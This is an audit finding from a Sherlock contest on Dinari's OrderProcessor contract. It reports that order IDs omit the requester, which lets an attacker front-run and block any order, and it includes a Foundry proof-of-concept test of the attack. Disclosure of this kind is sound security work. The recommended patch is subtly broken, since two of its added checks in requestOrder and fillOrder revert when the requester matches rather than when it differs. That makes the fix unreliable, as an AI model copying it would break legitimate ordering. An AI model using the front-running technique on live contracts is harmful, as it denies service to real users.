rugpull_detector - A malicious user can block any order request by frontrunning it. Front-run victim's tx will revert.

[sherlock-admin]

rugpull_detector

high

A malicious user can block any order request by frontrunning it. Front-run victim's tx will revert.

Summary

By frontrunning requestOrder with same OrderRequest and salt, victim's tx will revert.

Vulnerability Details

Imagine a Dinari's competitor sponsored bot that is watching for requestOrder tx, frontrunning it with same OrderRequest and salt and backrunning with requestCancel tx.

Then victim's requestOrder get failed as same orderId already exists.

Root cause of this problem is combination of 1) OrderRequest does not have requester field 2) OrderRequest.requester is not taken into consideration when calculating orderId.

function getOrderIdFromOrderRequest(OrderRequest memory orderRequest, bytes32 salt) public pure returns (bytes32) {
        //@audit - missing requester
        return keccak256(
            abi.encode(
                ORDERREQUEST_TYPE_HASH,
                salt,
                orderRequest.recipient,
                orderRequest.assetToken,
                orderRequest.paymentToken,
                orderRequest.quantityIn
            )
        );
    }

Proof of Concept

 function testFrontrunningRequestOrder() public {
        address malicious = address(0x6);
        address victim = user;

        paymentToken.mint(malicious, dummyOrder.quantityIn);
        paymentToken.mint(victim, dummyOrder.quantityIn);

        // 1. Frontrunning malicious's requestOrder - success
        vm.startPrank(malicious);
        paymentToken.increaseAllowance(address(issuer), dummyOrder.quantityIn);
        issuer.requestOrder(dummyOrder, salt);

        // 2. Victim's requestOrder - failed
        vm.startPrank(victim);
        paymentToken.increaseAllowance(address(issuer), dummyOrder.quantityIn);
        vm.expectRevert(OrderProcessor.DuplicateOrder.selector);
        issuer.requestOrder(dummyOrder, salt);

        // 3. Then request cancel
        vm.startPrank(malicious);
        issuer.requestCancel(dummyOrder, salt);
    }

Impact

As innocent Dinari's users cannot request Buy/Sell order, thus complete shutdown of Dinari issuers.

Code Snippet

https://github.com/sherlock-audit/2023-06-dinari/blob/4851cb7ebc86a7bc26b8d0d399a7dd7f9520f393/sbt-contracts/src/issuer/OrderProcessor.sol#L46C1-L58C6 https://github.com/sherlock-audit/2023-06-dinari/blob/4851cb7ebc86a7bc26b8d0d399a7dd7f9520f393/sbt-contracts/src/issuer/OrderProcessor.sol#L205C1-L216C6 https://github.com/sherlock-audit/2023-06-dinari/blob/4851cb7ebc86a7bc26b8d0d399a7dd7f9520f393/sbt-contracts/src/issuer/OrderProcessor.sol#L250C1-L252C74

Tool used

Manual Review

Recommendation

1) OrderRequest should have requester field 2) requester is not taken into consideration when calculating orderId. 2) OrderRequest.requester should be checked during requestOrder,requestCancel,fillOrder,cancelOrder

    struct OrderRequest {
+       // Account that requested the order
+       address requester;
        // Recipient of order fills
        address recipient;
        // Bridged asset token
        address assetToken;
        ...
    }

function getOrderIdFromOrderRequest(OrderRequest memory orderRequest, bytes32 salt) public pure returns (bytes32) {
        //@audit - missing chainid() to generate order id - order id generated for testnet can be replayed for mainnet.
        return keccak256(
            abi.encode(
                ORDERREQUEST_TYPE_HASH,
                salt,
+               orderRequest.requester,
                orderRequest.recipient,
                orderRequest.assetToken,
                orderRequest.paymentToken,
                orderRequest.quantityIn
            )
        );
    }

function requestOrder(OrderRequest calldata orderRequest, bytes32 salt) public nonReentrant whenOrdersNotPaused {
        // Reject spam orders
        if (orderRequest.quantityIn == 0) revert ZeroValue();
+        if (orderRequest.requester == msg.sender) revert NotRequester();

        // Check for whitelisted tokens
        _checkRole(ASSETTOKEN_ROLE, orderRequest.assetToken);
        _checkRole(PAYMENTTOKEN_ROLE, orderRequest.paymentToken);
        bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);
        // Order must not already exist
        if (_orders[orderId].remainingOrder > 0) revert DuplicateOrder();
        ...
    }

function requestCancel(OrderRequest calldata orderRequest, bytes32 salt) external {
        bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);
        address requester = _orders[orderId].requester;
        // Order must exist
+        if (requester != orderRequest.requester) revert NotRequester();
        if (requester == address(0)) revert OrderNotFound();
        // Only requester can request cancellation
        if (requester != msg.sender) revert NotRequester();

        // Send cancel request to bridge
        emit CancelRequested(orderId, orderRequest.recipient);
    }

    function fillOrder(OrderRequest calldata orderRequest, bytes32 salt, uint256 fillAmount, uint256 receivedAmount)
        external
        nonReentrant
        onlyRole(OPERATOR_ROLE)
    {
        // No nonsense
        if (fillAmount == 0) revert ZeroValue();
        bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);
        OrderState memory orderState = _orders[orderId];
        // Order must exist
+        if (orderState.requester == orderRequest.requester) revert NotRequester();        
        if (orderState.requester == address(0)) revert OrderNotFound();

    function cancelOrder(OrderRequest calldata orderRequest, bytes32 salt, string calldata reason)
        external
        nonReentrant
        onlyRole(OPERATOR_ROLE)
    {
        bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);
        OrderState memory orderState = _orders[orderId];
        // Order must exist
        if (orderState.requester == address(0)) revert OrderNotFound();
+        if (orderState.requester != orderRequest.requester) revert NotRequester();